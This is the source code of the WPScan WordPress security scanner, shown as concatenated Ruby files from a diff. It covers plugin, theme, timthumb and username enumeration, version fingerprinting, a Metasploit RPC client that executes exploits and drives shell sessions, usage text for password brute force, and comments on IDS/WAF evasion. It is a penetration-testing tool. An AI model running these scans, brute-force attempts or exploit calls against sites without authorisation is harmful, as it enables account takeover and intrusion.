@@login_protection_method_pattern = /^has_(.*)_protection\?/i
# Used as cache
@login_protection_plugin = nil
def has_login_protection?
!login_protection_plugin().nil?
end
# Checks if a login protection plugin is enabled
# http://code.google.com/p/wpscan/issues/detail?id=111
# return a WpPlugin object or nil if no one is found
def login_protection_plugin
unless @login_protection_plugin
protected_methods.grep(@@login_protection_method_pattern).each do |symbol_to_call|
if send(symbol_to_call)
plugin_name = symbol_to_call[@@login_protection_method_pattern, 1].gsub('_', '-')
return @login_protection_plugin = WpPlugin.new(
WpPlugin::create_location_url_from_name(
plugin_name,
@uri.to_s
),
:name => plugin_name
)
end
end
@login_protection_plugin = nil
end
@login_protection_plugin
end
protected
# Thanks to Alip Aswalid for providing this method.
# http://wordpress.org/extend/plugins/login-lockdown/
def has_login_lockdown_protection?
Browser.instance.get(login_url()).body =~ %r{Login LockDown}i ? true : false
end
# http://wordpress.org/extend/plugins/login-lock/
def has_login_lock_protection?
Browser.instance.get(login_url()).body =~ %r{LOGIN LOCK} ? true : false
end
# http://wordpress.org/extend/plugins/better-wp-security/
def has_better_wp_security_protection?
Browser.instance.get(better_wp_security_url()).code != 404
end
def better_wp_security_url
WpPlugin.create_location_url_from_name("better-wp-security", @uri)
end
# http://wordpress.org/extend/plugins/simple-login-lockdown/
def has_simple_login_lockdown_protection?
Browser.instance.get(simple_login_lockdown_url()).code != 404
end
def simple_login_lockdown_url
WpPlugin.create_location_url_from_name("simple-login-lockdown", @uri)
end
# http://wordpress.org/extend/plugins/login-security-solution/
def has_login_security_solution_protection?
Browser.instance.get(login_security_solution_url()).code != 404
end
def login_security_solution_url
WpPlugin.create_location_url_from_name("login-security-solution", @uri)
end
# http://wordpress.org/extend/plugins/limit-login-attempts/
def has_limit_login_attempts_protection?
Browser.instance.get(limit_login_attempts_url()).code != 404
end
def limit_login_attempts_url
WpPlugin.create_location_url_from_name("limit-login-attempts", @uri)
end
# http://wordpress.org/extend/plugins/bluetrait-event-viewer/
def has_bluetrait_event_viewer_protection?
Browser.instance.get(bluetrait_event_viewer_url()).code != 404
end
def bluetrait_event_viewer_url
WpPlugin.create_location_url_from_name("bluetrait-event-viewer", @uri)
end
end

View File

@@ -0,0 +1,130 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpPlugins
# Enumerate installed plugins.
# Available options : see #targets_url
#
# return array of WpPlugin
def plugins_from_aggressive_detection(options = {})
browser = Browser.instance
hydra = browser.hydra
found_plugins = options[:only_vulnerable_ones] ? [] : plugins_from_passive_detection()
request_count = 0
queue_count = 0
local_404_hash = error_404_hash()
valid_response_codes = WpPlugins.valid_response_codes()
targets_url = plugins_targets_url(options)
targets_url.each do |target_url|
request = browser.forge_request(target_url, :cache_timeout => 0, :follow_location => true)
request_count += 1
request.on_complete do |response|
print "\rChecking for " + targets_url.size.to_s + " total plugins... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
if valid_response_codes.include?(response.code)
if Digest::MD5.hexdigest(response.body) != local_404_hash
found_plugins << WpPlugin.new(target_url)
end
end
end
hydra.queue(request)
queue_count += 1
if queue_count == browser.max_threads
hydra.run
queue_count = 0
end
end
hydra.run
found_plugins
end
def self.valid_response_codes
[200, 403, 301, 302]
end
# Available options :
# :only_vulnerable_ones - default false
# :plugins_file - default DATA_DIR/plugins.txt
# :plugin_vulns_file - default DATA_DIR/plugin_vulns.xml
#
# @return Array of String
def plugins_targets_url(options = {})
only_vulnerable = options[:only_vulnerable_ones] || false
plugins_file = options[:plugins_file] || "#{DATA_DIR}/plugins.txt"
plugin_vulns_file = options[:plugin_vulns_file] || "#{DATA_DIR}/plugin_vulns.xml"
targets_url = []
if only_vulnerable == false
# Open and parse the 'most popular' plugin list...
File.open(plugins_file, 'r') do |file|
file.readlines.collect do |line|
targets_url << WpPlugin.create_url_from_raw(line.chomp, @uri)
end
end
end
xml = Nokogiri::XML(File.open(plugin_vulns_file)) do |config|
config.noblanks
end
# We check if the plugin name from the plugin_vulns_file is already in targets, otherwise we add it
xml.xpath("//plugin").each do |node|
plugin_name = node.attribute('name').text
if targets_url.grep(%r{/#{plugin_name}/}).empty?
targets_url << WpPlugin.create_location_url_from_name(plugin_name, url())
end
end
targets_url.flatten!
targets_url.uniq!
# randomize the plugins array to *maybe* help in some crappy IDS/IPS/WAF detection
targets_url.sort_by { rand }
end
# http://code.google.com/p/wpscan/issues/detail?id=42
# plugins can be found in the source code :
# <script src='http://example.com/wp-content/plugins/s2member/...' />
# <link rel='stylesheet' href='http://example.com/wp-content/plugins/wp-minify/..' type='text/css' media='screen'/>
# ...
# return array of WpPlugin
def plugins_from_passive_detection
plugins = []
response = Browser.instance.get(url())
plugins_names = response.body.scan(%r{(?:[^=:]+)\s?(?:=|:)\s?(?:"|')[^"']+\\?/wp-content\\?/plugins\\?/([^/\\"']+)\\?(?:/|"|')}i)
plugins_names.flatten!
plugins_names.uniq!
plugins_names.each do |plugin_name|
plugins << WpPlugin.new(
WpPlugin.create_location_url_from_name(plugin_name, url()),
:name => plugin_name
)
end
plugins
end
end

View File

@@ -0,0 +1,36 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpReadme
# Checks to see if the readme.html file exists
#
# This file comes by default in a wordpress installation,
# and if deleted is reinstated with an upgrade.
def has_readme?
response = Browser.instance.get(readme_url())
unless response.code == 404
response.body =~ %r{wordpress}i
end
end
def readme_url
@uri.merge("readme.html").to_s
end
end

View File

@@ -0,0 +1,102 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpTimthumbs
# Used as cache : nil => timthumbs not checked, [] => no timthumbs, otherwise array of timthumbs url found
@wp_timthumbs = nil
def has_timthumbs?(options = {})
!timthumbs(options).empty?
end
# Available options :
# :theme_name
# :timthumbs_file
#
# return array of string (url of timthumbs found), can be empty
def timthumbs(options = {})
if @wp_timthumbs.nil?
browser = Browser.instance
hydra = browser.hydra
found_timthumbs = []
request_count = 0
queue_count = 0
targets_url = timthumbs_targets_url(options)
targets_url.each do |target_url|
request = browser.forge_request(target_url, :cache_timeout => 0)
request_count += 1
request.on_complete do |response|
print "\rChecking for " + targets_url.size.to_s + " total timthumb files... #{(request_count * 100) / targets_url.size}% complete." # progress indicator
if response.body =~ /no image specified/i
found_timthumbs << target_url
end
end
hydra.queue(request)
queue_count += 1
if queue_count == browser.max_threads
hydra.run
queue_count = 0
end
end
hydra.run
@wp_timthumbs = found_timthumbs
end
@wp_timthumbs
end
# Available options :
# :theme_name
# :timthumbs_file
#
# retrun array of string
def timthumbs_targets_url(options = {})
targets = options[:theme_name] ? targets_url_from_theme(options[:theme_name]) : []
timthumbs_file = WpTimthumbs.timthumbs_file(options[:timthumbs_file])
targets += File.open(timthumbs_file, 'r') {|file| file.readlines.collect{|line| @uri.merge(line.chomp).to_s}}
targets.uniq!
# randomize the array to *maybe* help in some crappy IDS/IPS/WAF evasion
targets.sort_by { rand }
end
def self.timthumbs_file(timthumbs_file_path = nil)
timthumbs_file_path || DATA_DIR + "/timthumbs.txt"
end
protected
def targets_url_from_theme(theme_name)
targets = []
theme_name = URI.escape(theme_name)
[
'timthumb.php', 'lib/timthumb.php', 'inc/timthumb.php', 'includes/timthumb.php',
'scripts/timthumb.php', 'tools/timthumb.php', 'functions/timthumb.php'
].each do |file|
targets << @uri.merge("wp-content/themes/#{theme_name}/#{file}").to_s
end
targets
end
end

View File

@@ -0,0 +1,52 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
module WpUsernames
# Enumerate wordpress usernames by using Veronica Valeros's technique:
# http://seclists.org/fulldisclosure/2011/May/493
#
# Available options :
# :range - default : 1..10
#
# returns an array of usernames (can be empty)
def usernames(options = {})
range = options[:range] || (1..10)
browser = Browser.instance
usernames = []
range.each do |author_id|
response = browser.get(author_url(author_id))
if response.code == 301 # username in location?
usernames << response.headers_hash['location'][%r{/author/([^/]+)/}i, 1]
elsif response.code == 200 # username in body?
usernames << response.body[%r{posts by (.*) feed}i, 1]
end
end
# clean the array, remove nils and possible duplicates
usernames.flatten!
usernames.compact!
usernames.uniq
end
def author_url(author_id)
@uri.merge("?author=#{author_id}").to_s
end
end

156
lib/wpscan/msfrpc_client.rb Normal file
View File

@@ -0,0 +1,156 @@
#!/usr/bin/env ruby
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
# ryandewhurst at gmail
#
# This library should contain all methods to communicate with msfrpc.
# See framework/documentation/msfrpc.txt for further information.
# msfrpcd -S -U wpscan -P wpscan -f -t Web -u /RPC2
# name = exploit/unix/webapp/php_include
class RpcClient
def initialize
@config = {}
@config['host'] = "127.0.0.1"
@config['path'] = "/RPC2"
@config['port'] = 55553
@config['user'] = "wpscan"
@config['pass'] = "wpscan"
@auth_token = nil
@last_auth = nil
begin
@server = XMLRPC::Client.new3( :host => @config["host"], :path => @config["path"], :port => @config["port"], :user => @config["user"], :password => @config["pass"])
rescue => e
puts "[ERROR] Could not create XMLRPC object."
puts e.faultCode
puts e.faultString
end
end
# login to msfrpcd
def login()
result = @server.call("auth.login", @config['user'], @config['pass'])
if result['result'] == "success"
@auth_token = result['token']
@last_auth = Time.new
logged_in = true
else
puts "[ERROR] Invalid login credentials provided to msfrpcd."
logged_in = false
end
end
# check authentication
def authenticate()
login() if @auth_token.nil?
login() if (Time.now - @last_auth > 600)
end
# retrieve information about the exploit
def get_exploit_info(name)
authenticate()
result = @server.call('module.info', @auth_token, 'exploit', name)
return result
end
# retrieve exploit options
def get_options(name)
authenticate()
result = @server.call('module.options', @auth_token, 'exploit',name)
return result
end
# retrieve the exploit payloads
def get_payloads(name)
authenticate()
result = @server.call('module.compatible_payloads', @auth_token, name)
return result
end
# execute exploit
def exploit(name, opts)
authenticate()
result = @server.call('module.execute', @auth_token, 'exploit', name, opts)
return result
end
# list msf jobs
def jobs()
authenticate()
result = @server.call('job.list', @auth_token)
return result
end
# list msf sessions
def sessions()
authenticate()
result = @server.call('session.list', @auth_token)
return result
end
# kill msf session
def kill_session(id)
authenticate()
result = @server.call('session.stop', @auth_token, id)
return result
end
# reads any pending output from session
def read_shell(id)
authenticate()
result = @server.call('session.shell_read', @auth_token, id)
return result
end
# writes the specified input into the session
def write_shell(id, data)
authenticate()
result = @server.call('session.shell_write', @auth_token, id, data)
return result
end
def meterpreter_read(id)
authenticate()
result = @server.call('session.meterpreter_read', @auth_token, id)
return result
end
def meterpreter_write(id, data)
authenticate()
result = @server.call('session.meterpreter_write', @auth_token, id, data)
return result
end
end

41
lib/wpscan/vulnerable.rb Normal file
View File

@@ -0,0 +1,41 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class Vulnerable
attr_reader :vulns_xml, :vulns_xpath
# @return an array of WpVulnerability (can be empty)
def vulnerabilities
vulnerabilities = []
xml = Nokogiri::XML(File.open(@vulns_xml)) do |config|
config.noblanks
end
xml.xpath(@vulns_xpath).each do |node|
vulnerabilities << WpVulnerability.new(
node.search('title').text,
node.search('reference').text,
node.search('type').text
)
end
vulnerabilities
end
end

96
lib/wpscan/wp_plugin.rb Normal file
View File

@@ -0,0 +1,96 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require "#{WPSCAN_LIB_DIR}/vulnerable"
class WpPlugin < Vulnerable
@@location_url_pattern = %r{^(https?://.*/([^/]+)/)}i
attr_reader :name, :location_uri
def initialize(location_url, options = {})
@location_uri = WpPlugin.location_uri_from_url(location_url)
@name = options[:name] || WpPlugin.extract_name_from_location_url(location_url)
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/plugin_vulns.xml'
@vulns_xpath = "//plugin[@name='#{@name}']/vulnerability"
end
def location_url
@location_uri.to_s
end
def ==(plugin)
plugin.name == @name
end
def <=>(plugin)
plugin.name <=> @name
end
# http://code.google.com/p/wpscan/issues/detail?id=97
def version
response = Browser.instance.get(@location_uri.merge("readme.txt").to_s)
response.body[%r{stable tag: #{WpVersion.version_pattern}}i, 1]
end
# Discover any error_log files created by WordPress
# These are created by the WordPress error_log() function
# They are normally found in the /plugins/ directory,
# however can also be found in their specific plugin dir.
# http://www.exploit-db.com/ghdb/3714/
def error_log?
Browser.instance.get(error_log_url()).body[%r{PHP Fatal error}i] ? true : false
end
def error_log_url
@location_uri.merge("error_log").to_s
end
# Is directory listing enabled?
# WordPress denies directory listing however,
# forgets about the plugin directory.
def directory_listing?
Browser.instance.get(location_url()).body[%r{<title>Index of}] ? true : false
end
def self.create_location_url_from_name(name, target_uri)
if target_uri.is_a?(String)
target_uri = URI.parse(target_uri)
end
target_uri.merge(URI.escape("$wp-plugins$/#{name}/")).to_s
end
def self.create_url_from_raw(raw, target_uri)
target_uri.merge(URI.escape("$wp-plugins$/#{raw}")).to_s
end
protected
def self.extract_name_from_location_url(location_url)
location_url[@@location_url_pattern, 2]
end
def self.location_uri_from_url(location_url)
valid_location_url = location_url[%r{^(https?://.*/)[^.]+\.[^/]+$}, 1]
unless valid_location_url
valid_location_url = add_trailing_slash(location_url)
end
URI.parse(valid_location_url)
end
end

108
lib/wpscan/wp_target.rb Normal file
View File

@@ -0,0 +1,108 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class WpTarget
include WebSite
include WpReadme
include WpFullPathDisclosure
include WpConfigBackup
include WpLoginProtection
include Malwares
include WpUsernames
include WpTimthumbs
include WpPlugins
include BruteForce
@error_404_hash = nil
attr_reader :uri, :verbose
def initialize(target_url, options = {})
raise "Empty URL" if !target_url
@uri = URI.parse(add_http_protocol(target_url))
@verbose = options[:verbose]
@wp_content_dir = options[:wp_content_dir]
@wp_plugins_dir = options[:wp_plugins_dir]
Browser.instance(#options.merge(:max_threads => options[:threads]))
:proxy => options[:proxy],
:max_threads => options[:threads]
)
end
# Alias of @uri.to_s
def url
@uri.to_s
end
def login_url
url = @uri.merge("wp-login.php").to_s
# Let's check if the login url is redirected (to https url for example)
if redirection = redirection(url)
url = redirection
end
url
end
# Return the MD5 hash of a 404 page
def error_404_hash
unless @error_404_hash
non_existant_page = Digest::MD5.hexdigest(rand(9999999999).to_s) + ".html"
response = Browser.instance.get(@uri.merge(non_existant_page).to_s)
@error_404_hash = Digest::MD5.hexdigest(response.body)
end
@error_404_hash
end
# return WpTheme
def theme
WpTheme.find(@uri)
end
# return WpVersion
def version
WpVersion.find(@uri)
end
def wp_content_dir
unless @wp_content_dir
index_body = Browser.instance.get(@uri.to_s).body
if index_body[%r{/wp-content/themes/}i]
@wp_content_dir = "wp-content"
else
@wp_content_dir = index_body[%r{(?:href|src)=(?:"|')#{@uri}/?(.*)/themes/.*(?:"|')}i, 1]
end
end
@wp_content_dir
end
def wp_plugins_dir
unless @wp_plugins_dir
@wp_plugins_dir = wp_content_dir() + "/plugins"
end
@wp_plugins_dir
end
end

89
lib/wpscan/wp_theme.rb Normal file
View File

@@ -0,0 +1,89 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require "#{WPSCAN_LIB_DIR}/vulnerable"
class WpTheme < Vulnerable
attr_reader :name, :style_url, :version
def initialize(name, options = {})
@name = name
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_theme_vulns.xml'
@vulns_xpath = "//theme[@name='#{@name}']/vulnerability"
@style_url = options[:style_url]
@version = options[:version]
end
def version
unless @version
if @style_url
@version = Browser.instance.get(@style_url).body[%r{Version:\s([^\s]+)}i, 1]
end
end
@version
end
def self.find(target_uri)
self.methods.grep(/find_from_/).each do |method_to_call|
theme = self.send(method_to_call, target_uri)
return theme if theme
end
nil
end
def to_s
version = version()
"#{@name}#{' v' + version if version}"
end
def ===(wp_theme)
wp_theme.name === @name and wp_theme.version === @version
end
protected
# Discover the wordpress theme name by parsing the css link rel
def self.find_from_css_link(target_uri)
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
if matches = %r{https?://.*/themes/(.*)/style.css}i.match(response.body)
style_url = matches[0]
theme_name = matches[1]
return new(theme_name, :style_url => style_url)
end
end
# http://code.google.com/p/wpscan/issues/detail?id=141
def self.find_from_wooframework(target_uri)
body = Browser.instance.get(target_uri.to_s).body
regexp = %r{<meta name="generator" content="([^\s"]+)\s?([^"]+)?" />\s+<meta name="generator" content="WooFramework\s?([^"]+)?" />}
if matches = regexp.match(body)
woo_theme_name = matches[1]
woo_theme_version = matches[2]
woo_framework_version = matches[3] # Not used at this time
return new(woo_theme_name, :version => woo_theme_version)
end
end
end

120
lib/wpscan/wp_version.rb Normal file
View File

@@ -0,0 +1,120 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
require "#{WPSCAN_LIB_DIR}/vulnerable"
class WpVersion < Vulnerable
attr_reader :number, :discovery_method
def initialize(number, options = {})
@number = number
@discovery_method = options[:discovery_method]
@vulns_xml = options[:vulns_xml] || DATA_DIR + '/wp_vulns.xml'
@vulns_xpath = "//wordpress[@version='#{@number}']/vulnerability"
end
# Will use all method self.find_from_* to try to detect the version
# Once the version is found, it will return a WpVersion object
# The method_name will be without 'find_from_' and '_' will be replace by ' ' (IE 'meta generator', 'rss generator' etc)
# If the version is not found, nil is returned
#
# The order in which the find_from_* methods are is important, they will be called in the same order
# (find_from_meta_generator, find_from_rss_generator etc)
def self.find(target_uri)
self.methods.grep(/find_from_/).each do |method_to_call|
version = self.send(method_to_call, target_uri)
if version
return new(version, :discovery_method => method_to_call[%r{find_from_(.*)}, 1].gsub('_', ' '))
end
end
nil
end
protected
# Attempts to find the wordpress version from,
# the generator meta tag in the html source.
#
# The meta tag can be removed however it seems,
# that it is reinstated on upgrade.
def self.find_from_meta_generator(target_uri)
response = Browser.instance.get(target_uri.to_s, :follow_location => true, :max_redirects => 2)
response.body[%r{name="generator" content="wordpress ([^"]+)"}i, 1]
end
def self.find_from_rss_generator(target_uri)
response = Browser.instance.get(target_uri.merge("feed/").to_s, :follow_location => true, :max_redirects => 2)
response.body[%r{<generator>http://wordpress.org/\?v=([^<]+)</generator>}i, 1]
end
# Uses data/wp_versions.xml to try to identify a
# wordpress version.
#
# It does this by using client side file hashing
# with a scoring system.
#
# The scoring system is a number representing
# the uniqueness of a client side file across
# all versions of wordpress.
#
# Example:
#
# Score - Hash - File - Versions
# 1 - 3e63c08553696a1dedb24b22ef6783c3 - /wp-content/themes/twentyeleven/style.css - 3.2.1
# 2 - 15fc925fd39bb496871e842b2a754c76 - /wp-includes/js/wp-lists.js - 2.6,2.5.1
# 3 - 3f03bce84d1d2a169b4bf4d8a0126e38 - /wp-includes/js/autosave.js - 2.9.2,2.9.1,2.9
#
# /!\ Warning : this method might return false positive if the file used for fingerprinting is part of a theme (they can be updated)
#
def self.find_from_advanced_fingerprinting(target_uri)
xml = Nokogiri::XML(File.open(DATA_DIR + '/wp_versions.xml')) do |config|
config.noblanks
end
xml.xpath("//file").each do |node|
file_url = target_uri.merge(node.attribute('src').text).to_s
response = Browser.instance.get(file_url)
md5sum = Digest::MD5.hexdigest(response.body)
node.search('hash').each do |hash|
if hash.attribute('md5').text == md5sum
return hash.search('versions').text
end
end
end
nil # Otherwise the data['file'] is returned (issue #107)
end
def self.find_from_readme(target_uri)
Browser.instance.get(target_uri.merge("readme.html").to_s).body[%r{<br />\sversion #{WpVersion.version_pattern}}i, 1]
end
# http://code.google.com/p/wpscan/issues/detail?id=109
def self.find_from_sitemap_generator(target_uri)
Browser.instance.get(target_uri.merge("sitemap.xml").to_s).body[%r{generator="wordpress/#{WpVersion.version_pattern}"}, 1]
end
# Used to check if the version is correct : should be numeric with at least one '.'
def self.version_pattern
'(.*(?=.)(?=.*\d)(?=.*[.]).*)'
end
end

View File

@@ -0,0 +1,27 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class WpVulnerability
attr_accessor :title, :reference, :type
def initialize(title, reference, type)
@title = title
@reference = reference
@type = type
end
end

View File

@@ -0,0 +1,67 @@
require File.expand_path(File.dirname(__FILE__) + '/../common_helper')
require_files_from_directory(WPSCAN_LIB_DIR, "**/*.rb")
# wpscan usage
def usage()
script_name = $0
puts "--help or -h for further help."
puts
puts "Examples :"
puts
puts "-Do 'non-intrusive' checks ..."
puts "ruby #{script_name} --url www.example.com"
puts
puts "-Do wordlist password brute force on enumerated users using 50 threads ..."
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --threads 50"
puts
puts "-Do wordlist password brute force on the 'admin' username only ..."
puts "ruby #{script_name} --url www.example.com --wordlist darkc0de.lst --username admin"
puts
puts "-Enumerate instaled plugins ..."
puts "ruby #{script_name} --url www.example.com --enumerate p"
puts
puts "-Use a proxy ..."
puts "ruby #{script_name} --url www.example.com --proxy 127.0.0.1:8118"
puts
puts "-Use custom content directory ..."
puts "ruby #{script_name} -u www.example.com --wp-content-dir custom-content"
puts
puts "-Update ..."
puts "ruby #{script_name} --update"
puts
puts "See README for further information."
puts
end
# command help
def help()
puts "Help :"
puts
puts "Some values are settable in conf/browser.conf.json :"
puts " user-agent, proxy, threads, cache timeout and request timeout"
puts
puts "--update Update to the latest revision"
puts "--url | -u <target url> The WordPress URL/domain to scan."
puts "--force | -f Forces WPScan to not check if the remote site is running WordPress."
puts "--enumerate | -e [option(s)] Enumeration."
puts " option :"
puts " u usernames from id 1 to 10"
puts " u[10-20] usernames from id 10 to 20 (you must write [] chars)"
puts " p plugins"
puts " p! only vulnerable plugins"
puts " t timthumbs"
puts " Multiple values are allowed : '-e tp' will enumerate timthumbs and plugins"
puts " If no option is supplied, the default is 'tup!'"
puts
puts "--follow-redirection If the target url has a redirection, it will be followed without asking if you wanted to do so or not"
puts "--wp-content-dir <wp content dir> WPScan try to find the content directory (ie wp-content) by scanning the index page, however you can specified it. Subdirectories are allowed"
puts "--wp-plugins-dir <wp plugins dir> Same thing than --wp-content-dir but for the plugins directory. If not supplied, WPScan will use wp-content-dir/plugins. Subdirectories are allowed"
puts "--proxy Supply a proxy in the format host:port (will override the one from conf/browser.conf.json)"
puts "--wordlist | -w <wordlist> Supply a wordlist for the password bruter and do the brute."
puts "--threads | -t <number of threads> The number of threads to use when multi-threading requests. (will override the value from conf/browser.conf.json)"
puts "--username | -U <username> Only brute force the supplied username."
puts "--help | -h This help screen."
puts "--verbose | -v Verbose output."
puts
end

View File

@@ -0,0 +1,204 @@
#
# WPScan - WordPress Security Scanner
# Copyright (C) 2011 Ryan Dewhurst AKA ethicalhack3r
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
class WpscanOptions
ACCESSOR_OPTIONS = [
:enumerate_plugins,
:enumerate_only_vulnerable_plugins,
:enumerate_timthumbs,
:enumerate_usernames,
:enumerate_usernames_range,
:proxy,
:threads,
:url,
:wordlist,
:force,
:update,
:verbose,
:username,
:password,
:follow_redirection,
:wp_content_dir,
:wp_plugins_dir,
:help
]
attr_accessor *ACCESSOR_OPTIONS
def initialize
end
def url=(url)
raise "Empty URL given" if !url
@url = URI.parse(add_http_protocol(url)).to_s
end
def threads=(threads)
@threads = threads.is_a?(Integer) ? threads : threads.to_i
end
def wordlist=(wordlist)
if File.exists?(wordlist)
@wordlist = wordlist
else
raise "The file #{wordlist} does not exist"
end
end
def proxy=(proxy)
if proxy.index(':') == nil
raise "Invalid proxy format. Should be host:port."
else
@proxy = proxy
end
end
def enumerate_plugins=(enumerate_plugins)
if enumerate_plugins === true and @enumerate_only_vulnerable_plugins === true
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
else
@enumerate_plugins = enumerate_plugins
end
end
def enumerate_only_vulnerable_plugins=(enumerate_only_vulnerable_plugins)
if enumerate_only_vulnerable_plugins === true and @enumerate_plugins === true
raise "You can't enumerate plugins and only vulnerable plugins at the same time, please choose only one"
else
@enumerate_only_vulnerable_plugins = enumerate_only_vulnerable_plugins
end
end
def has_options?
!to_h.empty?
end
# return Hash
def to_h
options = {}
ACCESSOR_OPTIONS.each do |option|
instance_variable = instance_variable_get("@#{option}")
unless instance_variable.nil?
options[:"#{option}"] = instance_variable
end
end
options
end
# Will load the options from ARGV
# return WpscanOptions
def self.load_from_arguments
wpscan_options = WpscanOptions.new
